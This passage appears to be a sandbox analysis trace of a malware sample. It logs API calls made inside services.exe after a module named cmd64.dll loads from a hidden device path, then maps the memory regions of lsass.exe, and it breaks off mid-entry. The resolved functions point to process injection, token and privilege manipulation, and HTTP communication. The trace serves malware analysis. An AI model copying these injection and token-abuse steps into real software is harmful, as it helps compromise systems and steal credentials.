FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.825] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.828] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.828] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.864] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0073.864] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0073.864] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0073.864] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0073.864] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.866] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0073.866] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0073.866] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.868] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0073.868] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0073.868] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0073.868] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0073.868] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0073.868] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0073.868] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0073.871] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0073.871] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0073.872] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x28f368 | out: lpflOldProtect=0x28f368*=0x40) returned 1 [0073.872] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x28f368 | out: lpflOldProtect=0x28f368*=0x4) returned 1 [0073.872] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0073.872] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0073.872] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0073.872] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0073.872] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0073.872] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0073.872] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0073.873] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0073.873] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0073.873] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0073.873] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0073.873] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0073.873] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0073.873] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0073.873] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0073.873] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0073.873] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0073.874] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0073.874] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0073.874] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0073.874] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0073.874] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0073.874] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0073.874] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0073.874] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0073.874] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0073.875] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0073.875] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0073.875] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0073.875] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0073.875] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0073.875] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0073.875] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0073.875] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0073.875] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0073.875] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0073.876] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0073.876] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0073.876] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0073.876] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0073.876] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0073.876] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0073.876] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0073.876] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0073.876] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0073.877] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0073.877] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0073.877] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0073.877] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0073.877] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0073.877] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0073.877] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0073.877] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0073.877] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0073.877] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0073.878] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0073.878] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0073.878] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0073.878] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0073.878] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0073.878] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0073.878] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0073.878] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0073.878] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0073.879] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0073.879] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0073.879] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0073.879] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0073.879] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0073.879] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0073.879] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0073.879] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0073.879] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0073.879] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0073.880] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0073.880] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0073.880] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0073.880] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0073.880] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0073.880] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0073.880] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0073.880] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0073.880] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0073.881] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0073.881] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0073.881] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0073.881] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0073.881] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0073.881] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0073.881] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0073.881] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0073.881] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0073.881] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0073.882] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0073.882] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0073.882] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0073.882] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0073.882] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0073.882] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0074.057] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0074.057] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0074.057] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0074.057] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0074.057] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0074.057] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0074.057] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0074.057] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0074.057] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0074.057] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0074.057] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0074.057] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0074.057] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0074.057] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0074.057] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0074.058] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0074.058] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0074.058] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0074.058] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0074.058] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0074.058] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0074.058] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0074.058] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0074.058] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0074.058] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0074.058] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0074.058] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0074.058] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0074.058] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0074.058] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0074.059] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0074.059] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0074.059] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0074.059] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0074.059] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0074.060] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0074.060] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\services.exe") returned 0x20 [0074.060] PathFindFileNameA (pszPath="C:\\Windows\\system32\\services.exe") returned="services.exe" [0074.061] GetCommandLineA () returned="C:\\Windows\\system32\\services.exe" [0074.061] _strcmpi (_Str1="services.exe", _Str2="svchost.exe") returned -17 [0074.061] StrStrIA (lpFirst="services.exe", lpSrch="wermgr.exe") returned 0x0 [0074.062] HeapDestroy (hHeap=0xc90000) returned 1 [0074.089] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\scext.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.096] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\secur32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.101] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\scesrv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0074.113] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\srvcli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.247] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.252] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.258] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\credssp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.271] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\authz.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.285] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ubpm.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.246] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000ba2000 [0077.246] IdePortDispatch () returned 0x103 [0108.327] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ws2_32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0108.328] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0108.332] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mswsock.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0108.337] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WSHTCPIP.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0108.342] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wship6.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 103 os_tid = 0x224 Thread: id = 104 os_tid = 0x228 Thread: id = 105 os_tid = 0x22c Thread: id = 106 os_tid = 0x230 Thread: id = 107 os_tid = 0x234 Thread: id = 108 os_tid = 0x238 Thread: id = 109 os_tid = 0x23c [0089.758] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wtsapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.758] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winsta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 110 os_tid = 0x240 Thread: id = 111 os_tid = 0x244 Thread: id = 112 os_tid = 0x248 Thread: id = 113 os_tid = 0x24c Thread: id = 130 os_tid = 0x288 Thread: id = 232 os_tid = 0x13c Thread: id = 324 os_tid = 0x530 [0097.322] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\taskhost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 341 os_tid = 0x580 Thread: id = 348 os_tid = 0x59c Thread: id = 351 os_tid = 0x5a8 [0108.717] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\taskhost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 Process: id = "12" image_name = "lsass.exe" filename = "c:\\windows\\system32\\lsass.exe" page_root = "0x14388000" os_pid = "0x1e4" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x174" cmd_line = "C:\\Windows\\system32\\lsass.exe" cur_dir = "C:\\Windows\\system32\\" Region: id = 640 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 641 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 642 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 643 start_va = 0xd0000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 644 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 645 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 646 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 647 start_va = 0xffe50000 end_va = 0xffe5bfff entry_point = 0xffe51850 region_type = mapped_file name = "lsass.exe" filename = "\\Windows\\System32\\lsass.exe" Region: id = 648 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 649 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 650 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 651 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 652 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 653 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 654 start_va = 0x1c0000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 655 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 656 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 657 start_va = 0x60000 end_va = 0x6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 658 start_va = 0x70000 end_va = 0x7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 659 start_va = 0x150000 end_va = 0x1b6fff entry_point = 0x150000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 660 start_va = 0x2c0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 661 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 662 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 663 start_va = 0x7fefda50000 end_va = 0x7fefda5afff entry_point = 0x7fefda51510 region_type = mapped_file name = "sspisrv.dll" filename = "\\Windows\\System32\\sspisrv.dll" Region: id = 664 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 665 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 699 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 700 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 701 start_va = 0x3c0000 end_va = 0x547fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 702 start_va = 0x550000 end_va = 0x6d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 703 start_va = 0x6e0000 end_va = 0x79ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 704 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 705 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 706 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 707 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 708 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 709 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 710 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 711 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 712 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 713 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 714 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 715 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 716 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 717 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 718 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 719 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 743 start_va = 0x7f0000 end_va = 0x86ffff entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 744 start_va = 